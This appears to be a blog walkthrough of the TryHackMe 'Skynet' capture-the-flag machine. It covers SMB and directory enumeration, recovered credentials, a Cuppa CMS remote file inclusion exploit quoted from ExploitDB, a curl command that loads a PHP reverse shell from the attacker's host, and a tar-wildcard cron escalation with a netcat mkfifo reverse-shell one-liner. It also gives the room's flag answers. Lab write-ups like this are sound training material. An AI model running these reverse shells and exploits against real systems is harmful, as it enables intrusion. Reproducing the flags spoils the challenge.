Challenges: Skynet (TryHackMe)

Search for a command to run...

No comments yet. Be the first to comment.
Link to the challenge on TryHackMe: Modern Web Stacks Introduction During a time-boxed engagement, the first tester to identify Apache/2.4.49 in a Server: header already knows the exact CVE before the

Link to the challenge/walkthrough on TryHackMe: Broken Authentication Introduction Authentication is the process by which a web application verifies the identity of the user making a request. It typic

Link to the HealthGPT AI security CTF challenge on TryHackMe. Meet HealthGPT, a well-meaning virtual assistant used by a busy healthcare team. It helps clinicians look up procedures, draft notes, and

Link to the section of the AI Odyssey CTF on TryHackMe: Token City. It covers challenges like: ML Sec: The Loan Arranger | AI Sec + DFIR: Rogue Commit | AI Sec + Web App Sec: Sealed Substation | Agent

Link to the Privilege Escalation Challenge on TryHackMe: Linux Privilege Escalation: Automation Introduction By now, you should have an understanding of basic privilege escalation techniques and how t


“Hasta la vista, baby.”
The line might sound like a farewell, but in this case, it’s just the beginning.
In this Terminator-themed hacking challenge, we’re tasked with compromising a system modeled around Miles Dyson, a key figure behind Skynet. Using common enumeration tools like Nmap and Gobuster, and diving deep into SMB shares, hidden directories, and vulnerable CMS platforms, we slowly unravel the system’s weaknesses.
Along the way, we identify credentials, exploit a Remote File Inclusion (RFI) vulnerability in Cuppa CMS, and eventually achieve Remote Code Execution (RCE). With persistence, creativity, and classic privilege escalation techniques, we move from a low-level user to full root access — uncovering flags that mark our dominance over the machine.
Hasta la vista, baby.
Are you able to compromise this Terminator themed machine?
You can follow our official walkthrough for this challenge on our blog.
using Nmap and Gobuster for basic
nmap -sC -sV -A

smbclient -L // -N

smbclient //10.10.104.163/anonymous -N


cat attention.txt

cat log1.txt

What is Miles password for his emails? cyborg007haloterminator
What is the hidden directory? /45kra24zxs28v3yd
gobuster dir -u http://<IP_Address> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

http://<IP_Address>/squirrelmail/src/login.php - Visit the site, then log in
name: password milesdyson: cyborg007haloterminator

i can i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i i can i i i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i . . . . . . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i i i i i everything else . . . . . . . . . . . . . .
balls have 0 to me to me to me to me to me to me to me to me to
you i i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
01100010 01100001 01101100 01101100 01110011 00100000 01101000 01100001 01110110
01100101 00100000 01111010 01100101 01110010 01101111 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111
// balls have zero to me to me to me to me to me to me to me to me to

We have changed your smb password after system malfunction. Password: )s{A&2Z=F^n_E.B`
We now have the password for Miles Dyson. So we’ll log in to the SMBClient
smbclient //<IP_Address>/milesdyson -U milesdyson
password: )s{A&2Z=F^n_E.B`


What is the vulnerability called when you can include a remote file for malicious purposes? remote file inclusion
🔄 RFI vs RCE – What's the Difference?
| Term | Full Form | What It Does | Example | Relationship |
| --- | --- | --- | --- | --- |
| RFI | Remote File Inclusion | Includes remote files (usually via a vulnerable include() or require() in PHP) | http://site.com/index.php?page=http://evil.com/shell.txt | Often used to trigger RCE |
| RCE | Remote Code Execution | Allows remote attackers to execute arbitrary code | Exploiting a file upload or injection flaw to run whoami or reverse shell | RFI can lead to RCE |
RFI is about including and executing remote files (usually scripts).
RCE is the actual execution of commands/code on the server.
RFI is a vector; RCE is the goal.
Disable allow_url_include and allow_url_fopen in php.ini:
iniCopyEditallow_url_include = Off
allow_url_fopen = Off
Validate Input Properly:
Use whitelists for allowed page names.
Avoid passing user input directly to include() or require().
Use Secure File Paths:
Keep Software Updated:
Set Correct File Permissions:
What is the user flag? 7ce5c2109a40f958099283600a9ae807
Checking the site: http://<IP_Address>//45kra24zxs28v3yd

gobuster dir -u http://<IP_Address>/45kra24zxs28v3yd -w /usr/share/wordlists/dirb/common.txt

Checking the site: http://<IP_Address>//45kra24zxs28v3yd/administrator Introduces us to Cuppa CMS. When we visit ExploitDB and search for Cuppa CMS, we find an exploit script that guides us on how to use RFI to escalate privileges for initial access, thereby obtaining the lower user flag.


```bash
,--^----------,--------,-----,-------^--,
| ||||||||| --------' | O .. CWH Underground Hacking Team ..+---------------------------^----------|
\_,-------, _________________________|
/ XXXXXX /| /
/ XXXXXX / \ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(------'
#################################### VULNERABILITY: PHP CODE INJECTION ####################################
/alerts/alertConfigField.php (LINE: 22)
LINE 22:
##################################################### DESCRIPTION
#####################################################
An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
##################################################### EXPLOIT
#####################################################
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt? http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
Moreover, We could access Configuration.php source code via PHPStream
<?php class Configuration{ public $host = "localhost"; public $db = "cuppa"; public $user = "root"; public $password = "Db@dmin"; public $tableprefix = "cu"; public $administrator_template = "default"; public $list_limit = 25; public $token = "OBqIPqlFWf3X"; public $allowed_extensions = ".bmp; .csv; .doc; .gif; .ico; .jpg; .jpeg; .odg; .odp; .ods; .odt; .pdf; .png; .ppt; .swf; .txt; .xcf; .xls; .docx; .xlsx"; public $upload_default_path = "media/uploadsFiles"; public $maximum_file_size = "5242880"; public $secure_login = 0; public $secure_login_value = ""; public $secure_login_redirect = ""; }
Able to read sensitive information via File Inclusion (PHP Stream)
################################################################################################################ Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
```
Create a new file called shell.php by copying the php-reverse-shell.php using this command:
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
Edit the IP Address <AttackMachine_ip> and Port <5555> on the shell.php file
Based on the exploit script above, we’ll use this command:
curl http://<Target_IP>/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php\?urlConfig\=http://<AttackMachine_ip>:8000/shell.php

Alongside these commands on different tabs:
python3 -m http.server

nc -lvnp 5555 find / -type f -name user.txt 2> /dev/null

What is the root flag? 3f0372db24753accc7179a282cd6a949
We check: cat /etc/crontab to find a way we can escalate privileges so that we can get root access

cat /home/milesdyson/backups/backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <AttackBox_IP_Address> 1234 > /tmp/f" > [shell.sh](http://shell.sh)``
touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=sh [shell.sh](http://shell.sh)`"`

nc -lvnp 1234
find / -type f -name root.txt 2> /dev/null
cat /root/root.txt

This machine was a perfect mix of realistic misconfigurations and legacy vulnerabilities — the kind still found in real-world environments.
Key takeaways:
Enumeration is everything: From Gobuster revealing /45kra24zxs28v3yd to Nmap and SMB, showing us the doors.
Know your vectors: RFI led us to remote code execution, reminding us that small flaws often escalate.
Privilege escalation matters: The tar checkpoint trick showed how a simple scheduled script can become a gateway to root.
Ultimately, by chaining the right tools, exploits, and logic, we compromised the machine, proving once again that Skynet might be powerful, but it’s not invincible.
Rooted another box? Let’s go again. 🧠🔥